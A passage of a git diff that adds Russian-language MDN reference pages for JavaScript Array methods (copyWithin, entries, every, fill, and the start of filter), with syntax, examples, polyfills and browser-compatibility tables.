+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.concat")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — добавление / удаление элементов с конца массива</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — добавление / удаление элементов с начала массива</li>
+ <li>{{jsxref("Array.splice", "splice")}} — добавление / удаление элементов в указанной позиции массива</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("Symbol.isConcatSpreadable")}} — управление уменьшением размерности массива</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/copywithin/index.html b/files/ru/web/javascript/reference/global_objects/array/copywithin/index.html
new file mode 100644
index 0000000000..a914888989
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/copywithin/index.html
@@ -0,0 +1,216 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>copyWithin()</strong></code> копирует последовательность элементов массива внутри него в позицию, начинающуюся по индексу <code>target</code>. Копия берётся по индексам, задаваемым вторым и третьим аргументами <code>start</code> и <code>end</code>. Аргумент <code>end</code> является необязательным и по умолчанию равен длине массива.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.copyWithin(<var>target</var>, <var>start</var>[, <var>end</var> = this.length])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Начальный индекс позиции цели, куда копировать элементы.</dd>
+ <dt><code>start</code></dt>
+ <dd>Начальный индекс позиции источника, откуда начинать копировать элементы.</dd>
+ <dt><code>end</code></dt>
+ <dd>Необязательный параметр. Конечный индекс позиции источника, где заканчивать копировать элементы.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Аргументы <code>target</code>, <code>start</code> и <code>end</code> приводятся к {{jsxref("Global_Objects/Number", "Number")}} и обрезаются до целых значений.</p>
+
+<p>Если аргумент <code>start</code> является отрицательным, он трактуется как <code>length+start</code> где <code>length</code> — это длина массива. Если аргумент <code>end</code> является отрицательным, он трактуется как <code>length+end</code>.</p>
+
+<p>Функция <code>copyWithin</code> намеренно является <em>обобщённой</em>, она не требует, чтобы значение <code>this</code> внутри неё было объектом {{jsxref("Global_Objects/Array", "Array")}}, и кроме того, функция <code>copyWithin</code> является <em>изменяющим методом</em>, она изменит объект <code>this</code> и вернёт его, а не просто вернёт копию.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, -2, -1);
+// [4, 2, 3, 4, 5]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// Типизированные массивы ES6 являются подклассами Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// На платформах, которые ещё не совместимы с ES6:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">if (!Array.prototype.copyWithin) {
+  Array.prototype.copyWithin = function(target, start/*, end*/) {
+    // Шаги 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Шаги 3-5.
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // Шаги 6-8.
+    var relativeTarget = target &gt;&gt; 0;
+
+    var to = relativeTarget &lt; 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Шаги 9-11.
+    var relativeStart = start &gt;&gt; 0;
+
+    var from = relativeStart &lt; 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Шаги 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+    var final = relativeEnd &lt; 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Шаг 15.
+    var count = Math.min(final - from, len - to);
+
+    // Шаги 16-17.
+    var direction = 1;
+
+    if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Шаг 18
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Шаг 19.
+    return O;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.copyWithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copyWithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("45")}}</td>
+   <td>{{CompatGeckoDesktop("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/entries/index.html b/files/ru/web/javascript/reference/global_objects/array/entries/index.html
new file mode 100644
index 0000000000..291b14e5c0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/entries/index.html
@@ -0,0 +1,116 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Array/entries
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>entries()</strong></code> возвращает новый объект итератора массива <code><strong>Array Iterator</strong></code>, содержащий пары ключ / значение для каждого индекса в массиве.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.entries()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var eArr = arr.entries();
+
+console.log(eArr.next().value); // [0, 'a']
+console.log(eArr.next().value); // [1, 'b']
+console.log(eArr.next().value); // [2, 'c']
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("28")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("28")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html
new file mode 100644
index 0000000000..db333915d9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html
@@ -0,0 +1,195 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Global_Objects/Array/every
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.6
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>every()</strong></code> проверяет, удовлетворяют ли все элементы массива условию, заданному в передаваемой функции.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: метод возвращает <code>true</code> при любом условии для пустого массива.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">arr.every(callback(currentValue[, index[, array]])[, thisArg])</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция проверки каждого элемента, принимает три аргумента:
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>Текущий обрабатываемый элемент массива.</dd>
+  <dt><code>index</code>{{Optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента массива.</dd>
+  <dt><code>array</code>{{Optional_inline}}</dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Необязательный параметр. Значение, используемое в качестве <code>this</code> при выполнении функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code><strong>true</strong></code> если функция проверки возвращает {{Glossary("truthy")}} значение для каждого элемента массива. Иначе, <code><strong>false</strong></code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>every()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>ложное</em> значение (значение, становящееся равным <code>false</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>every()</code> немедленно вернёт <code>false</code>. В противном случае, если <code>callback</code> вернёт <code>true</code> для всех элементов массива, метод <code>every()</code> вернёт <code>true</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p>
+
+<p>Если в метод <code>every()</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}. В конечном итоге, значение <code>this</code>, наблюдаемое из функции <code>callback</code>, определяется согласно <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычным правилам определения <code>this</code>, видимого из функции</a>.</p>
+
+<p>Метод <code>every()</code> не изменяет массив, для которого он был вызван.</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>every()</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>every()</code>, не будут посещены функцией <code>callback</code>. Если существующие элементы массива изменятся, значения, переданные в функцию <code>callback</code>, будут значениями на тот момент времени, когда метод <code>every()</code> посетит их; удалённые элементы посещены не будут.</p>
+
+<p>Метод <code>every()</code> действует подобно квантору всеобщности в математике. В частности, он вернёт <code>true</code> для пустого массива. Это так называемая <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics">бессодержательная истина (vacuously true)</a> — все элементы <a href="http://ru.wikipedia.org/wiki/Пустое_множество">пустого множества</a> (<a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">англ.</a>) удовлетворяют любому заданному условию.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Testing_size_of_all_array_elements" name="Example:_Testing_size_of_all_array_elements">Пример: проверка размера всех элементов массива</h3>
+
+<p>Следующий пример проверяет, являются ли все элементы массива числами, большими 10.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+  return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(isBigEnough);   // false
+[12, 54, 18, 130, 44].every(isBigEnough); // true
+</pre>
+
+<h3 id="Example:_Using_arrow_functions" name="Example:_Using_arrow_functions">Пример: использование стрелочных функций</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a> предоставляют более краткий синтаксис для подобных проверок.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(elem =&gt; elem &gt;= 10);   // false
+[12, 54, 18, 130, 44].every(elem =&gt; elem &gt;= 10); // true
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>every()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может не присутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>every()</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; и предполагает что {{jsxref("Object")}} и {{jsxref("TypeError")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Положим O равным результату вызова ToObject над значением
+    //    this, переданным в качестве аргумента.
+    var O = Object(this);
+
+    // 2. Положим lenValue равным результату вызова внутреннего метода Get
+    //    объекта O с аргументом "length".
+    // 3. Положим len равным ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Если IsCallable(callbackfn) равен false, выкинем исключение TypeError.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. Если thisArg присутствует, положим T равным thisArg; иначе положим T равным undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Положим k равным 0.
+    k = 0;
+
+    // 7. Пока k &lt; len, будем повторять
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Положим Pk равным ToString(k).
+      //   Это неявное преобразование для левостороннего операнда в операторе in
+      // b. Положим kPresent равным результату вызова внутреннего метода
+      //    HasProperty объекта O с аргументом Pk.
+      //   Этот шаг может быть объединён с шагом c
+      // c. Если kPresent равен true, то
+      if (k in O) {
+
+        // i. Положим kValue равным результату вызова внутреннего метода Get
+        //    объекта O с аргументом Pk.
+        kValue = O[k];
+
+        // ii. Положим testResult равным результату вызова внутреннего метода Call
+        //     функции callbackfn со значением T в качестве this и списком аргументов,
+        //     содержащим kValue, k и O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. Если ToBoolean(testResult) равен false, вернём false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Array.every")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
new file mode 100644
index 0000000000..1bef1fd1ea
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
@@ -0,0 +1,159 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/Array/fill
+tags:
+  - Array
+  - ECMAScript2015
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>fill()</strong></code> заполняет все элементы массива от начального до конечного индексов одним значением.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, заполняющее массив.</dd>
+ <dt><code>start</code></dt>
+ <dd>Необязательный параметр. Начальный индекс.</dd>
+ <dt><code>end</code></dt>
+ <dd>Необязательный параметр. Конечный индекс.</dd>
+ <dt>
+ <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+ <p>Изменённый массив.</p>
+ </dt>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Элементы заполняются в полузакрытом интервале [<code>start</code>, <code>end</code>).</p>
+
+<p>Метод <strong><code>fill</code></strong> принимает до трёх аргументов — <code>value</code>, <code>start</code> и <code>end</code>. Аргументы <code>start</code> и <code>end</code> являются необязательными со значениями по умолчанию, равными <code>0</code> и <code>length</code> объекта <code>this</code> соответственно.</p>
+
+<p>Если аргумент <code>start</code> является отрицательным, он трактуется как <code>length+start</code>, где <code>length</code> — это длина массива. Если аргумент <code>end</code> является отрицательным, он трактуется как <code>length+end</code>.</p>
+
+<p>Метод <code><strong>fill</strong></code> намеренно является <em>обобщённым</em>, он не требует, чтобы значение <code>this</code> внутри него было объектом <code>Array</code>.</p>
+
+<p>Метод <code><strong>fill</strong></code> является <em>изменяющим методом</em>, он изменит объект <code>this</code> и вернёт его, а не просто вернёт копию.</p>
+
+<p>Если аргумент <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">value</span></font>​​​​​ является объектом, тo метод <code><strong>fill</strong></code> заполнит массив ссылками на этот объект.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre><code>[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5);         // [1, 2, 3]
+Array(3).fill(4);                // [4, 4, 4]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Объекты заполняются по ссылке.
+var arr = Array(3).fill({}) // [{}, {}, {}];
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]</code></pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre><code>if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Шаги 1-2.
+      if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // Шаги 3-5.
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // Шаги 6-7.
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // Шаг 8.
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Шаги 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // Шаг 11.
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Шаг 12.
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Шаг 13.
+      return O;
+    }
+  });
+}</code></pre>
+
+<p>Если вам нужно поддерживать действительно устаревшие движки JavaScript, которые не поддерживают <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>, то лучше вообще не использовать полифилы для методов <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Array.prototype</span></font>, так как вы не можете сделать их не перечисляемыми.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.fill")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
new file mode 100644
index 0000000000..16333b09c6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
@@ -0,0 +1,302 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Global_Objects/Array/filter
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - filter
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>filter()</strong></code> создаёт новый массив со всеми элементами, прошедшими проверку, задаваемую в передаваемой функции.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">let <var>newArray</var> = <var>arr</var>.filter(<var>callback</var>(<var>element</var>[, <var>index</var>, [<var>array</var>]])[, <var>thisArg</var>])
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, которая будет вызвана для каждого элемента массива. Если функция возвращает <code>true</code>, то элемент остаётся в массиве, если <code>false</code>, то удаляется.</dd>
+ <dd>В функцию будет передано три аргумента:</dd>
+ <dd>
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>Текущий обрабатываемый элемент в массиве.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Значение, используемое в качестве <code>this</code> при вызове функции <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
